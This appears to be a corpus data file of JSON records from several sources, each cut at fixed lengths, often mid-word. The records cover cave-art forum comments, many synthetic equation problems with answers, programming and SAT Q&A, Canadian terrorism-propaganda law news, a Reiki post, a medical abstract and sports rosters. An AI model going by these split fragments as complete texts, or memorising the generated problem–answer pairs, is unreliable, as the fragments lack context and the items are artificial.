idea of symbolic representation was a key indicator of\nintelligence.\n\nIt would also be amazing if more stone age art was found in underwater caves.\n\n~~~\nWAthrowaway\n>It would also be amazing if more stone age art was found in underwater caves.\n\n[https:\/\/en.wikipedia.org\/wiki\/Doggerland](https:\/\/en.wikipedia.org\/wiki\/Doggerland)\n\n~~~\npoulsbohemian\nI think that would be almost a given. We know there were certainly hominids\n(Neanderthal and Homo Sapiens) living there, so if there were caves, it\nfollows there would be cave art.\n\n------\nusermac\nJust the other day someone asked me \"Do you believe [in God]?\" I replied\n\"everything is technology\". I referred him to just this type story. Speech is\ntechnology. Writing is technology and therefore stories are","metadata":{"pile_set_name":"HackerNews"},"id":811} {"contents":"too technology.\nEverything we hear or read from man is manmade. He paused and thoughtfully\nsaid \"I never thought about it that way.\"\n\n~~~\njackstraw14\nAll that stuff is the product of human systems, but what about the systems\nthat produce the human?\n\n~~~\nDecoPerson\nAlso technology, or random chance.\n\nIf God exists, he is an explainable piece of \"technology\". He could be a very\npowerful one that deserves our respect, but he is explainable. Everything is\nexplainable... eventually.\n\n~~~\ncreep\nRemember the days when we all thought everything was deterministic?\n\n~~~\nyellowapple\nIf something is \"non-deterministic\", then it is insufficiently understood.\n\n------\nelboru\nA little off-topic, the art in the first picture is stunning, the colors,\nshadows, shapes, lines. I've always imagined random individuals painting in\ncaverns. But looking at this paint makes me wonder how many generations of\npainters have to pass in order to get into that level of","metadata":{"pile_set_name":"HackerNews"},"id":812} {"contents":"complexity.\n\n~~~\nwazoox\nI've visited several caves this summer (Lascaux, Combarelles, Font-de-Gaume,\nRouffignac, and a couple others) and there is a constant: the artists weren't\namateurs, they were extremely skilled. First, in many places it was impossible\nat the time to see the entirety of the drawing at a glance because of the very\nlow height, or the wall curvature, but the proportions are right anyway (most\nvisited caves have been dug out; back then you had to crawl for hundreds of\nmeters in pitch darkness to reach the drawings). Similarly, the animals are\ndrawn with a very high anatomical precision. Even animals that didn't exist\nlocally, like mammoths (which mean that the artist had seen mammoths earlier,\nvery far away).\n\n------\nmcguire\nInteresting article.\n\n\" _The first formal writing system that we know of is the 5000-year-old\ncuneiform script of the ancient city of","metadata":{"pile_set_name":"HackerNews"},"id":813} {"contents":"Uruk in what is now Iraq. But it and\nother systems like it \u2013 such as Egyptian hieroglyphs \u2013 are complex and didn\u2019t\nemerge from a vacuum. There must have been an earlier time when people first\nstarted playing with simple abstract signs. For years, von Petzinger has\nwondered if the circles, triangles and squiggles that humans began leaving on\ncave walls 40,000 years ago represent that special time in our history \u2013 the\ncreation of the first human code._ \"\n\nMy understanding is that the evolution of Sumerian cuneiform is (sort of) well\nunderstood, from early markers for goods (a container with six dried clay\ntokens to represent \"I sent six sheep with Elmer, if you did not receive six\nsheep, there's a problem somewhere\") to simplifications of the markers and the\nrebus principle to early writing. It's","metadata":{"pile_set_name":"HackerNews"},"id":814} {"contents":"not a single step from nothing to\nwriting.\n\nOh, and the city is Unug in Sumerian. Uruk is Akkadian, a language that over\nmuch later.\n\n------\nmr_overalls\nAnother explanation is that the geometric designs are depictions of entoptic\nphenomena or phosphenes that are seen during trance states. There is\nremarkable similarity in these designs between groups of ancient people\nseparated by thousands of miles and years: e.g. Australian Aborigines and San\nin Africa.\n\nThe Signs of All Times: Entoptic Phenomena in Upper Palaeolithic Art\n[https:\/\/www.journals.uchicago.edu\/doi\/pdfplus\/10.1086\/203629](https:\/\/www.journals.uchicago.edu\/doi\/pdfplus\/10.1086\/203629)\n\nEntoptic Imagery and Altered States of Consciousness\n[http:\/\/entheology.com\/research\/entoptic-imagery-and-\naltered-...](http:\/\/entheology.com\/research\/entoptic-imagery-and-altered-\nstates-of-consciousness\/)\n\n------\njdlyga\nStone Age code? I tried running it, but it's giving me an error: \"You have\naccidentally used the dummy version of OwlMain.\"\n\n","metadata":{"pile_set_name":"HackerNews"},"id":815} {"contents":"\/(-82)*((-4)\/(-3) + 0). Suppose -13*p = -11*p - k. Solve 3*u - 14 = -b, b = 5*u - p*b - 10 for u.\n4\nLet r(v) = 10*v + 42. Let t be r(-4). Suppose -3*f = -y - 46 - 1, -y = 5*f + 7. Let g = y - -32. Solve 0 - 4 = p, g = 4*l - t*p for l.\n-2\nLet o(a) be the second derivative of -a**3\/2 + 9*a. Let c be o(-1). Suppose 42 - 22 = 4*f. Solve -c*m - 13 = 2*y - f, 4*y + 16 = 2*m for y.\n-4\nSuppose -11*y - 12 = -8*y, -103 = n + 5*y. Let t = -81 - n. Let f = 0 - 0. Solve -3*a + 0*r + 3 =","metadata":{"pile_set_name":"DM Mathematics"},"id":816} {"contents":"-3*r, f = 3*a - t*r + 2 for a.\n-4\nSuppose 0 = -352*k + 389*k - 185. Solve 1 = -4*m + 5*l, k*l + 4 + 11 = 0 for m.\n-4\nSuppose -17*t = -15*t - 160. Let s be 3\/2*t\/(-30). Let x be (-2)\/s*4 + (-1 - -17). Solve -3*h - h - x = -3*m, -11 = 5*h + 2*m for h.\n-3\nLet j(p) = p**3 + 16*p**2 + 19*p + 63. Let o be j(-15). Solve 4*n - 11 = c + 9, -o*n - 3*c = 0 for n.\n4\nLet c = 69 - 68. Let x be (-1485)\/(-60) + c\/4. Suppose x = 8*h + 1. Solve h*b + 3*m - 2*m + 10 = 0, 3*b + 20 = 4*m for b.\n-4\nLet t =","metadata":{"pile_set_name":"DM Mathematics"},"id":817} {"contents":"2097 - 2097. Solve 5*n + r + 14 = -8, t = -3*n + 2*r - 8 for n.\n-4\nLet d be -6*((-4)\/(-5))\/((-90)\/75 + 0). Solve 4*s + 18 = -d*b + b, -b = -2*s - 4 for b.\n-2\nSuppose -2*j - u - 27 = -69, -88 = -4*j - 4*u. Solve 0 = -2*l + g + 12, 136*g - 141*g - j = -2*l for l.\n5\nSuppose -3*g + 9 = -4*q, g - q - 9 = -2*g. Let k(y) = 6*y - 2. Let v be (-1)\/(2 - 9\/3). Let d be k(v). Solve d*x + 5*u - 19 = 0, 4*x + g*u + 6 - 19 = 0 for x.\n1\nLet k = 1252 + -1212. Solve 6*h - 7*h = 3*y +","metadata":{"pile_set_name":"DM Mathematics"},"id":818} {"contents":"16, -5*h = 5*y + k for y.\n-4\nSuppose 0 = -4*f - j + 19, -19 = -211*f + 210*f - 5*j. Solve 4*g - 4 = 0, -f*g + 11 = -3*y - 8 for y.\n-5\nLet d(g) = 11*g**2 + 68*g + 16. Let p = -188 + 182. Let s be d(p). Solve -6 = j + 2*f - f, -5*j + s*f = 12 for j.\n-4\nLet i(o) = -2*o**2 - 20*o - 19. Let p be i(-9). Let h be (p\/(-2))\/1 - (-30)\/12. Solve -4*s - 12 = b + h*b, 2*b - 10 = 2*s for s.\n-4\nLet w = 9971 + -9967. Solve 0 = 5*v - w*f + 2, -22*f = -2*v - 21*f - 2 for v.\n-2\nSuppose -14 + 34 = -4*m.","metadata":{"pile_set_name":"DM Mathematics"},"id":819} {"contents":"Let x be 2\/4*(9 + m) + 18. Suppose -11*s = -x*s + 45. Solve 4*b - 23 = -c - 2*c, 4*b + s*c = 33 for b.\n2\nSuppose 0 = 15*i - 4 - 311. Solve -2*b = 3*c + i, 0 = -7*c + 5*c + b - 7 for c.\n-5\nLet d = 7 - 2. Let q(b) = -b**3 - 3*b**2 + 14*b + 15. Let f be q(-6). Suppose 48*r - f*r - 18 = 0. Solve -11 = r*y - 4*x + 5, -d*x + 29 = 2*y for y.\n2\nLet p = -25 + 29. Let k be (p*(-3)\/30)\/(2\/(-180)). Let u = -33 + k. Solve 0 = u*d - 5*a - 0 + 15, 3*d + 5*a = 15 for d.\n0\nSuppose 50*a","metadata":{"pile_set_name":"DM Mathematics"},"id":820} {"contents":"- 3 - 9 = 48*a. Solve -4*u - a*s + 11*s - 34 = 0, 3*u = -5*s - 8 for u.\n-6\nSuppose -8 = -3*b + q, 4*b + 2*q - 8 = 16. Solve 13 = -3*f + b*v, -f + 4*v + 2 = 17 for f.\n1\nLet i be 6\/4 - 819\/(-234). Solve 2*x = 5*x - 5*v - 18, 0 = -4*x - 3*v - i for x.\n1\nSuppose 2*o = p + 12, -55*p + 58*p = -o + 20. Solve q - 2*v = -o, v + 1 = -q + 5 for q.\n0\nLet h be -2*(-2)\/(-8)*-2. Let w be (-40)\/(-100) + (-10)\/25. Suppose -n + 3*m - 12 = 0, -3*n + 2*m = -w*n + h. Solve 0 = s +","metadata":{"pile_set_name":"DM Mathematics"},"id":821} {"contents":"n, -5*c = 3*s + 4 for c.\n1\nLet n(t) = 2*t**3 - 227*t**2 + 110*t + 344. Let g be n(113). Solve 6*k = 7*k, k - g = -h for h.\n5\nLet a(d) = 2*d**2 + 36*d + 86. Let c be a(-15). Let p be (c\/3 - 0)\/(358\/(-537)). Solve -5*x = 4*g + 6, p*x - 2*g = -2*x + 16 for x.\n2\nSuppose -4 = -7*y - 67. Let j be (-128)\/y - (-58)\/(-261). Solve -w - 3*v = -8, -v + 6 - j = -5*w for w.\n2\nSuppose -3 - 5 = 8*s. Let p(y) = -10*y**3 - y**2 + 5*y + 5. Let i be p(s). Solve 2*j = -m + 6, 0*m = 3*j + 3*m - i for j.\n3\nLet y(x) = 7*x**2 -","metadata":{"pile_set_name":"DM Mathematics"},"id":822} {"contents":"128*x + 41. Let r be y(18). Solve 12*i - 6 = -r*s + 14*i, -s + 4 = i for s.\n2\nSuppose 198*f = 229*f - 31. Solve -34 = 4*h - 38, -2*a - f = -h for a.\n0\nLet s = 256 - 244. Suppose -a = -27 + s. Solve -3*n + a = i, -2*i + n - 5 = -5*i for i.\n0\nLet y = 519 + -110. Let a = y + -406. Solve -4*f = a*o - 25, -4*f - 2 + 6 = -4*o for o.\n3\nLet d = -26 - -35. Let s be -1*4\/(-18)*d. Suppose -17*q = -21*q + 80. Solve -5 = s*c - c, q = 2*z - 4*c for z.\n0\nSuppose -y - 4*d - 1 - 8 =","metadata":{"pile_set_name":"DM Mathematics"},"id":823} {"contents":"0, -5*d = 5*y - 15. Let o(s) = -30*s + 213. Let p be o(y). Solve 8*c - p*c - 30 = 5*j, 2*c - j - 11 = 0 for c.\n5\nSuppose 0 = 3*l + l. Suppose -3*j + 5*w = l, -w + 3 = -0. Let f(n) = -n**3 + n**2 + 23*n + 47. Let d be f(6). Solve -d*o - j = -2*s - s, 5 = -4*s - 5*o for s.\n0\nSuppose -3*t - 16 = 2. Let z(i) = -i**3 - 7*i**2 + i - 4. Let v be z(t). Let d = -42 - v. Solve 0 = -0*r - r - 3*a - 16, d*r = 3*a + 11 for r.\n-1\nLet i = 3 - 6. Let v be","metadata":{"pile_set_name":"DM Mathematics"},"id":824} {"contents":"-2 - 0\/i - (2 - 9). Suppose 3*m - v*o = -13, 4*m + m = 5*o - 5. Solve -m = l + w + 3, 5*w - 15 = 5*l for l.\n-5\nLet d = 20431 + -20426. Solve 2*b = d*p + 7, 20*b = -5*p + 25*b - 25 for p.\n1\nLet u be 380\/(-6) + 6\/(-9). Let z = 69 + u. Suppose 3*c + 3*k - 2*k = 8, 0 = z*c + 2*k - 13. Solve 5*g - 22 = 4*v, -c*g + 2*g = v + 1 for v.\n-3\nLet v(u) be the first derivative of u**4\/4 - 4*u**3 - u**2\/2 + 21*u + 24. Let x be v(12). Solve c = 2*f - x, -9 = -5*c + c - f","metadata":{"pile_set_name":"DM Mathematics"},"id":825} {"contents":"for c.\n1\nLet m(f) = -f**2 + 24. Let d be m(-9). Let x = d + 62. Solve -2*j = 3*j + 5, 3*j - 22 = -x*n for n.\n5\nSuppose 5*w = 2*j + 37, -15*j - 64 - 101 = 0. Suppose 0*n + 2 = n. Solve 3*y = -w*o - 9, -5*o + 2*o = -n*y + 4 for o.\n-2\nSuppose 4*j + 9 = 2*h - 5, -5*j - 4*h = 24. Let s be (j\/3)\/(3\/(-18)). Solve 5*v = 5, x = 2*v + 2*v - s for x.\n-4\nLet k = 92 - 72. Let a be ((-710)\/k)\/(3\/(1 - 7)). Suppose a*b - 74*b + 12 = 0. Solve 0 = t - 2*t - 4*o + b, -4*o = 3*t - 12 for t.\n4\nLet","metadata":{"pile_set_name":"DM Mathematics"},"id":826} {"contents":"y be ((-2356)\/133 - -18)\/(2\/14). Solve -5*z + y = -i - 0, 4*i + 8 = 4*z for z.\n0\nLet p(z) = 504*z + 3024. Let n be p(-6). Solve n = 3*b + r + r - 13, -2*b - 18 = -4*r for b.\n1\nSuppose 3*x + 2 = m, 4*m - 5 = -2*x + 3. Let n be (-3 - -3)\/(3 + 1 + -1). Let d = 2280 + -2276. Solve m*i = -l, n*l = 3*l + d*i for l.\n0\nSuppose 3*h + 10 + 8 = 0, 3*d = -2*h. Solve m + 10 = 3*c, -d*m - 20 = 2*c - 4*c for c.\n2\nLet z(u) = 3*u**2 - 187. Let j be z(-8). Solve 0 = j*o - 3*r + 9, 2*o","metadata":{"pile_set_name":"DM Mathematics"},"id":827} {"contents":"+ 2*r - 25 = -19 for o.\n0\nLet d(b) = 20*b - 138. Let a be d(7). Suppose 3*m - a = -4*p, -p = -m - 4*m - 12. Solve -2 = -2*o + p*j, -j = -5*o + 5 + 12 for o.\n4\nLet f(c) = 2*c**3 + 21*c**2 - 7*c + 46. Let a be f(-11). Solve a = 4*p - h, -2*h - 4 = 3*p + 2*p for p.\n0\nSuppose -5*t - 3*c + 57 = 0, -13 = -t - 3*c + 2*c. Let q be 10\/4 + t\/6. Suppose -q = -3*b + w, w - 1 - 4 = 0. Solve -5*h + 2*u = 15 - 0, -b = h - 5*u for h.\n-3\nLet y(p) = p**3 + 1 + 3","metadata":{"pile_set_name":"DM Mathematics"},"id":828} {"contents":"- 6*p - 6*p**2 - 6. Let m be y(7). Suppose 0 = 5*q - m - 0. Solve h + 2 = -2*g - q, -3*g = -h - 3 for g.\n0\nLet o be (-30)\/((-6)\/((-192)\/40) + -2). Solve 3*u = -9, 4*v + 27 = -41*u + o*u for v.\n-6\nSuppose 122*j - 131*j = -18. Suppose -3*c + 0*c = -72. Suppose -6*g + c = -j*g. Solve -2*z - 3*z = 5, -l = 2*z + g for l.\n-4\nLet x(n) = n**3 - 13*n**2 + 45*n - 249. Let c be x(11). Solve 50 = 5*z + c*w + 53, w - 12 = 3*z for z.\n-3\nLet i(x) = -x**2 - 11*x - 1. Let l be i(-11). Let d be (l - 3 - 0)","metadata":{"pile_set_name":"DM Mathematics"},"id":829} {"contents":"+ 7. Suppose 9*o - 5*o = 12. Solve 3*q + 2*u = o + d, -3*q = -2*u - 6 for q.\n2\nLet j = -446 + 502. Suppose 0 = -36*p + j + 52. Solve 5*r + 3*n + 16 = -8, 2*n - p = 3*r for r.\n-3\nLet f = -1880 - -1897. Solve 0 = -5*b + 5*r + 15, b - f*r - 3 = -14*r for b.\n3\nLet z = 42 + -30. Suppose -3*s = s - z. Let v(j) = -j**3 + 2*j**2 + 5*j - 3. Let x be v(s). Solve x*d = 5*r, -r = 1 + 2 for d.\n-5\nLet j(z) = -z**2 + 10*z - 11. Let i be j(-10). Let q = i + 231. Solve l","metadata":{"pile_set_name":"DM Mathematics"},"id":830} {"contents":"+ 4 = -r, 4*r - q = l + 4*l for l.\n-4\nLet b be ((-7)\/(-14))\/(1\/10). Let r = -1888 + 1900. Solve -s + 19 = b*v, 4 - r = -5*s + 4*v for s.\n4\nSuppose u - v - 35 = 15, 4*v + 250 = 5*u. Let r = u + -40. Let o be (-15)\/r*(-4)\/3. Solve -o*t - 3*t + 12 = 2*a, 2*a - 3*t = -20 for a.\n-4\nLet l = 1757 + -1754. Let r = 2 - 0. Solve 5*m + l*c + 24 = r, -c - 19 = 4*m for m.\n-5\nSuppose -2*i + 7*i - 32 = 3*g, 3*g + 8 = -i. Solve -5*n = -5*t + 3*t - 5, 5*t + i*n - 37 = 0 for","metadata":{"pile_set_name":"DM Mathematics"},"id":831} {"contents":"t.\n5\nLet r be (5\/(-10))\/(2 + 17\/(-8)). Suppose -5*y - z = -3*y - 125, -4 = -r*z. Let x = y - 59. Solve -p = -v + 2*p + x, p = -v - 5 for v.\n-3\nLet j = 58 + -56. Suppose 3*q = 2*o + 1, -j*q + 13 + 9 = 4*o. Suppose 0 = -3*i + q*c + 15, 7*c = 8*c + 5. Solve i = 5*d + 3*m + 6, -4 = d + 2*m - 0 for d.\n0\nLet y = -30 - -66. Suppose 194*i - 191*i - 96 = 0. Suppose y*l - 16 = i*l. Solve -3*m = -0*m + 2*c, -2*m = -l*c for m.\n0\nSuppose -171*m = 43*m + m - 1935. Solve 19 = 2*b -","metadata":{"pile_set_name":"DM Mathematics"},"id":832} {"contents":"2*c + 23, 5*c - m = 4*b for b.\n-1\nLet q = 33572 - 33142. Solve -a + m = -4, 2*a + 4*m = -416 + q for a.\n5\nSuppose 2*d - 2 = 5*v, -2*v + 5*d - 5 = 3*v. S","metadata":{"pile_set_name":"DM Mathematics"},"id":833} {"contents":"Q:\n\nReact ES6 components using arrow functions\n\nVery new to react, \nI have a class like:\nexport const Checkbox = ({ label, className }) => {\n ....\n .... \n return(\n .............\n .............\n\n ); \n}\n\nIn such a class how can I specify add a componentDidMount and componentWillReceiveProps?\nEdit:\nI have a layman's doubt, which is the correct way to create a wrapper react component for checkbox? functional component or by extending from Component? If I create a Checkbox wrapper component for others to use, will it be possible for them to connect to a store (say redux) from their pages? \nThanks,\nSanthosh\n\nA:\n\nYou can't.\nThese are functional components and do not support React's lifecycle methods.\nIf","metadata":{"pile_set_name":"StackExchange"},"id":834} {"contents":"you want to use React's lifecycle methods, you need a class that inherits from React.Component\nSee example below.\nclass Example extends React.Component {\n \n componentDidMount(){\n \/\/code here\n }\n \n}\n\nHere is a good answer explaining the differences and when to use functional over class components.\nUPDATE from React 16.8\nLifecycle methods can now be used with the introduction of hooks.\nIf you wished to implement componentDidMount you would use the useEffect hook and pass an empty array as the second argument. An example would look like as follows.\nconst Example = () => {\n React.useEffect(() => {\n \/\/ do stuff here\n }, []);\n}\n\n","metadata":{"pile_set_name":"StackExchange"},"id":835} {"contents":"Federal Crown prosecutors have, for the first time, used the terrorism-propaganda provision of the Criminal Code in an attempt to remove content from the internet.\n\nUnder that law, authorities can seek judicial orders that oblige internet service providers and social-media companies to take down material. If judges are convinced terrorist propaganda has been posted online, they can order these companies to remove the offending content \u2013 and also to reveal which customer posted it, if this is already not clear.\n\nAn online court registry shows that hearings invoking the power took place in May and June in Montreal, but all details about its use \u2013 including which offending messages were posted by whom \u2013 are protected by a judicial sealing order.\n\nStory continues below advertisement\n\nThe case, which is continuing, is playing","metadata":{"pile_set_name":"OpenWebText2"},"id":836} {"contents":"out in the courts even as the law that put this power on the books is being narrowed in scope under Liberal legislation now being considered by Parliament.\n\nProsecutors in Ottawa will only say they\u2019ve never exercised the power before. \u201cWe can confirm that this is the first and only time [the Public Prosecution Service of Canada] has instituted this proceeding,\u201d said Nathalie Houle, a spokeswoman for the service, in an e-mailed response to questions from The Globe and Mail.\n\nIn Canada, the federal prosecutors at the PPSC almost always take charge of anti-terrorism cases, especially ones that amount to being important test cases for new laws. Despite this, Ms. Houle said she couldn\u2019t speak definitively as to whether any provincial Crowns may have initiated any similar bids.\n\nThe current legislation,","metadata":{"pile_set_name":"OpenWebText2"},"id":837} {"contents":"first passed in 2015, expanded the powers of federal counterterrorism agents on several fronts. At the time, supporters of the Islamic State, including some Canadians who had gone overseas to join the group, were recruiting and inciting their fellow extremists with slick internet videos.\n\nGlobal counterterrrorism authorities have been striving, in recent years, to shut down the terror group\u2019s internet messaging.\n\nShortly after the terrorist-propaganda law was passed by the then-Conservative government in Canada, the federal Liberals campaigned on a promise to correct what they called the \u201cproblematic elements\u201d of the legislation.\n\nOne provision in the current Liberal legislation, known as Bill C-59, seeks to narrow what can be considered \u201cterrorist propaganda.\"\n\nStory continues below advertisement\n\nThe 2015 law states that this is any messaging that \u201cadvocates or promotes the commission of terrorism","metadata":{"pile_set_name":"OpenWebText2"},"id":838} {"contents":"offences in general \u2026 or counsels the commission of a terrorism offence.\u201d\n\nBut the Liberal legislation seeks to erase the language about \u201cadvocates or promotes.\u201d\n\n\u201cTerrorist propaganda means any writing, sign, visible representation or audio recording that counsels the commission of a terrorism offence,\u201d the text of Bill C-59 reads.\n\nCritics have argued the new phrasing will impose a significantly higher barrier on any efforts to scrub terrorist messaging from the internet. It \"will likely reduce the ability of law enforcement to use the judicially authorized terrorism-propaganda \u2018takedown\u2019 tool,\u201d security expert Scott Newark wrote in an essay for the Macdonald-Laurier Institute last year.\n\nThe Liberals say their changes merely correct potentially unconstitutional language. They, and others, have argued that the law as it exists is ambiguous. And that it could potentially expose","metadata":{"pile_set_name":"OpenWebText2"},"id":839} {"contents":"journalists or politicians to criminal charges, simply for calling attention to widely publicized terrorist videos.\n\n\u201cWe\u2019ve made it more precise without affecting its efficacy,\u201d Public Safety Minister Ralph Goodale told Parliament last year.\n\nStory continues below advertisement\n\nMs. Houle, the spokeswoman for the federal prosecution service, said her office will not be drawn into \u201chypothetical\u201d questions about whether its current case could be pursued under the reworded legislation.\n\nShe did say that her office is not currently charging anyone, and has never charged anyone, with being a terrorist propagandist \u2013 another charge that was passed in 2015.\n\nLegal observers say they are keen to watch how the case plays out in the courts should the sealing order be lifted. \u201cWhat they\u2019re trying to tear down [from the internet], will it be captured by","metadata":{"pile_set_name":"OpenWebText2"},"id":840} {"contents":"the new provision?\u201d asked Craig Forcese, a University of Ottawa law professor. \u201cOr does it depend on this overbroad concept that is presently in the law?\u201d\n\nWith a report from Tu Thanh Ha","metadata":{"pile_set_name":"OpenWebText2"},"id":841} {"contents":"Meditation Begins!\n\nReiki works on Intuition and Intent. It is very important that your intention is clear, specific , positive and beneficial and more importantly, not harmful for anyone. It requires Focus and Belief in yourself, Reiki and the fulfillment of your desire with the help of Reiki. This is where meditation comes in. It helps to increase Focus and calms the mind. One can meditate in many different ways. I started with a very simple kind of meditation- the \u2018Sun Meditation\u2019. It has calming and gives immense peace while reminding me of the colossal universe and our trivial existence.\n\nThe sages and preceptors have advised us to meditate during the morning and evening. The \u2018Sun Meditation\u2019 is very simple, yet very soothing and energizes the whole body and calms","metadata":{"pile_set_name":"Pile-CC"},"id":842} {"contents":"the mind. This meditation is done in the morning when the sun is rising. Simply look towards the rising sun with your hands folded in prayer position feeling the rays penetrating each cell of your body while taking deep breaths. Slowly increase the time and can meditate with closed eyes as well.\nThis can easily fit in your time and schedule. I know, I did it!","metadata":{"pile_set_name":"Pile-CC"},"id":843} {"contents":"High levels of adhesion molecules are associated with impaired endothelium-dependent vasodilation in patients with peripheral arterial disease.\nSoluble intercellular adhesion molecule-1 (sICAM-1) and vascular cellular adhesion molecule-1 (sVCAM-1) were measured alongside flow-mediated vasodilation (FMD) in 34 patients with intermittent claudication and 14 control subjects. Patients with plasma sICAM-1 >253 ng\/mL (median value) showed lower FMD than those with sICAM-1 < 253 ng\/mL (5.6 +\/- 1.8% vs 9.6 +\/- 4.2%, p < 0.01). Similarly, in the 17 patients with plasma sVCAM-1 > 414 ng\/mL, FMD was lower than in the remaining 17 patients (6.1 +\/- 1.9% vs 9.2 +\/- 4.5%, p < 0.05). Additionally, when endothelial dysfunction was defined as FMD < or = 5.5%, patients with FMD below this value had higher plasma concentrations of sICAM-1 and sVCAM-1 than","metadata":{"pile_set_name":"PubMed Abstracts"},"id":844} {"contents":"those with FMD > 5.5%. Therefore, our findings indicate a close association between elevated plasma levels of adhesion molecules and endothelial dysfunction. As impaired endothelial function is one of the first steps in atherogenesis, our findings have clinical relevance since they serve as the basis for further evaluation of sICAM-1 and sVCAM-1 as potential plasma markers for progression of atherosclerosis in a population at high risk.","metadata":{"pile_set_name":"PubMed Abstracts"},"id":845} {"contents":"Q:\n\nWhy are Hornsat, 3sat and 2sat not equivalent?\n\nI have been reading a little bit about complexity theory recently, and I'm having a bit of a stumbling block. The horn satisfiability problem is solvable in linear time, but the boolean satisfiability problem in general is NP-Hard. So far so good, I understand that.\nApparently Boolean satisfiability is reducible to satisfiability of a boolean expression in Conjunctive Normal form with 3 variables per clause. This problem though is also NP-Hard. That's fine with me too, since it was proven by someone probably much smarter than me.\nI am having trouble though because of the following tautology:\n$$(a \\vee b \\vee c) \\iff ((\\neg a \\wedge \\neg b)\\implies c)$$\nNot exactly a Horn clause, but I am not done.\nSo given a 3SAT problem, apply the","metadata":{"pile_set_name":"StackExchange"},"id":846} {"contents":"above tautology.\nthen replace each negated boolean $\\neg x$ with a new variable $x_n$\nThis is an instance of HORNSAT, but unfortunately it isn't equivalent to the original problem. This new problem though is polynomial time equivalent to a certain instance of 2SAT(satisfiable iff the HORNSAT is). Now if for each introduced variable $x_n$, we add the following to our 2SAT problem: $$ (x \\vee x_n)\\wedge (\\neg x \\vee \\neg x_n) $$\nShouldn't this 2SAT instance then be equivalent to the original 3SAT instance? The number of variables doubled and it has a linear factor more clauses.\nI must be overlooking something, right? I can't for the life of me see the flaw. Can someone explain it to me?\nEDIT: and a counterexample would be nice.\n\nA:\n\nWhat you would need is a translation between","metadata":{"pile_set_name":"StackExchange"},"id":847} {"contents":"HORNSAT and 2SAT that let's you translate a witness for the satisfiability of the Horn formula into a witness for the 2SAT (or the other way around? But this doesn't really matter.).\nIn any case, a cheap way to reduce HORNSAT to 2SAT is to solve your instance of HORNSAT in polynomial time, i.e., to check satisfiability, and then return a trivially satisfiable instance of 2SAT or a trivially not satisfiable instance of 2SAT. In other words, you throw away all information about the Horn formula, other than whether it is satisfiable or not.\nIn particular, the terms that describe the role of the new variables that you add have no meaning relative to the 2SAT instance you get from the Horn formula.\n\n","metadata":{"pile_set_name":"StackExchange"},"id":848} {"contents":"With Safari, you learn the way you learn best. Get unlimited access to videos, live online training,\nlearning paths, books, tutorials, and more.\n\nNew research suggests that employees with a diverse Twitter network \u2014 one that exposes them to people and ideas they don\u2019t already know \u2014 tend to generate better ideas.\n\nSalvatore Parise, Eoin Whelan and Steve Todd\n\nSUMMER 2015\n\nInnovations never happen without good ideas. But what prompts people to come up with their best ideas? It\u2019s hard to beat old-fashioned, face-to-face networking. Even Steve Jobs, renowned for his digital evangelism, recognized the importance of social interaction in achieving innovation. In his role as CEO of Pixar Animation Studios (a role he held in addition to being a cofounder and CEO of Apple Inc.), Jobs instructed the architect of Pixar\u2019s new","metadata":{"pile_set_name":"Pile-CC"},"id":849} {"contents":"headquarters to design physical ...\n\nWith Safari, you learn the way you learn best. Get unlimited access to videos, live online training,\nlearning paths, books, interactive tutorials, and more.","metadata":{"pile_set_name":"Pile-CC"},"id":850} {"contents":"Aaliyah Prince\n\nAaliyah Prince (born 5 February 2001) is a Trinidadian footballer who plays as a midfielder for American college Northeast Texas Eagles and the Trinidad and Tobago women's national team.\n\nInternational career\nPrince represented Trinidad and Tobago at the 2016 CONCACAF Girls' U-15 Championship and two CONCACAF Women's U-20 Championship editions (2018 and 2020). At senior level, she played the 2018 CFU Women's Challenge Series, the 2018 CONCACAF Women's Championship qualification and the 2020 CONCACAF Women's Olympic Qualifying Championship qualification.\n\nInternational goals\nScores and results list Trinidad and Tobago' goal tally first.\n\nReferences\n\nExternal links\n\nCategory:2001 births\nCategory:Living people\nCategory:Women's association football forwards\nCategory:Women's association football midfielders\nCategory:Trinidad and Tobago women's footballers\nCategory:People from Morvant\nCategory:Trinidad and Tobago women's international footballers\nCategory:Competitors at the 2018 Central American and Caribbean Games\nCategory:College women's soccer players in the United States\nCategory:Trinidad and Tobago expatriate women's footballers\nCategory:Trinidad","metadata":{"pile_set_name":"Wikipedia (en)"},"id":851} {"contents":"and Tobago expatriate sportspeople in the United States\nCategory:Expatriate women's soccer players in the United States\nCategory:Trinidad and Tobago women's futsal players\nCategory:Competitors at the 2018 Summer Youth Olympics","metadata":{"pile_set_name":"Wikipedia (en)"},"id":852} {"contents":"There are three international soccer competitions being played this summer on Canadian soil, and of the three the Pan Am games are undoubtedly the least important for both the men's and women's teams. The men will have their eye on the Gold Cup, while the women will be recovering from the World Cup.\n\nAs such, the rosters announced for both the men's and women's Pan Am teams today were not first choice. The best men's players will be up with the Gold Cup team, the best women's players don't want to do double duty.\n\nHowever, there are a lot of nice surprises on both team sheets, and both give off the impression that Canada could be a difficult team to beat at Toronto 2015.\n\nThe Women's Roster\n\nCanada's women's roster for the","metadata":{"pile_set_name":"OpenWebText2"},"id":853} {"contents":"2015 Pan Am games is very similar to that which they used at the U-20 World Cup in Toronto last summer. This is good news as Canada impressed in that competition before losing a narrow 2-0 game to the eventual champions from Germany.\n\nThere are a couple of crossovers from the Canada 2015 team, and they will likely represent the core of this squad. This includes Kadeisha Buchanan, who has likely been the country's busiest player over the last couple of years but never turns down a call to represent les rouges.\n\nJoining her on the Pan Ams squad are recent World Cup standout Ashley Lawrence who scored Canada's lone goal against Netherlands on Monday, Jessie Fleming and Canadian third keeper Stephanie Labbe.\n\nThe team, coached by Daniel Worthington, will also","metadata":{"pile_set_name":"OpenWebText2"},"id":854} {"contents":"include a number of the standouts from the U-20 tournament, Janine Beckie chief among them. Nichelle Prince, Emma Fletcher and Kinley McNicholl have also been included.\n\nAll this should give the Canadian team a strong chance to defend their Pan Am Games title. They kick off the tournament on July 11 and play in a group with Brazil, Costa Rica and Ecuador.\n\nF- Janine Beckie | Littlejohn, COL, USA | USA \/ Texas Tech University\n\nD- Kadeisha Buchanan | Brampton, ON | USA \/ West Virginia University\n\nF- Gabrielle Carle | L\u00e9vis, QC | CAN \/ AS Armada Chaudi\u00e8re-Est\n\nF- Nkem Ezurike | Halifax, NS | USA \/ Boston Breakers\n\nM- Emma Fletcher | Victoria, BC | USA \/ University of California\n\nM- Jessie Fleming | London, ON | CAN \/ London Nor'West SC\n\nM- Sarah","metadata":{"pile_set_name":"OpenWebText2"},"id":855} {"contents":"Kinzner | Calgary, AB | CAN \/ Calgary Foothills SC\n\nGK- Stephanie Labb\u00e9 | Stony Plain, AB | 